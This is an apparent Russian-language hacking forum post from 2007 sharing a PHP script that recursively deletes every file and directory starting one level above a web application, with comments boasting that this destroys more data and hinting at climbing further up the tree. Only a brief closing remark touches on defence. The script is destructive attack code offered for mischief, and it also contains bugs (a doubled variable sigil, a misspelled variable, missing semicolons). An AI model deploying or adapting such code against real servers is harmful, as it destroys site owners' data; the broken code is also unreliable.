
12.04.2007, 00:13
|
|
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме: 1364740
Репутация:
114
|
|
рекурсивное удаление
Зло зло зло__))
//малые шалости_
"Кому-то создавать, кто-то должен созедать, а кто-то наглый) все разрушать"
Теперь по делу::
PHP код:
<?php
//вызывается функция, удаляющая файлы с сервера, с параметром '..', ))
//чтобы подняться на один уровень выше:: это позволит уничтожить больше файлов, )))
//так как наверняка веб_приложение находится в отдельной директории))))
//поехали
delfiles("..");
//функция, удаляющая каталоги и файлы сервера
function delfiles($catalog)
{
$dir = opendir($catalog)
while (false !== ($file = readdir($dir))
{
//Если текущей объект - файл, то что делаем?? del del & del
if(is_file($catalog."/".$file)) unlink($$catalog."/".$file);
//Если текущий объект - каталог, то рекурсивный вызов delfiles(),
//тем самым избегаем каталогов '.' и '..',
//которые соответствуют текущему и вышележащему))
else if (is_dir($catalog.'/'.$file) && ($file !='.') && ($file != '..')) delfiles($catalog.'/'.$files);
}
//закрываем дир
closedir($dir);
//ну и на последок))
rmdir($catalog);
}
?>
О недосказанном:: есть возможность модификации рекурсии вверх по дереву))
НО последнее слово как всегда за правами доступа))..ну разве это проблема)
Итак дамы и господа) будте бдительны!! Порой безопасность приложений играет более важную роль чем сами приложения
Безопасность::
Решить вышеописанную проблему поможет проверка расширения файла (а может и не решить)))
зы:: 2nc.striem -> исправлено!
Последний раз редактировалось mR_LiNK[deface_0nl; 12.04.2007 в 01:33..
|
|
|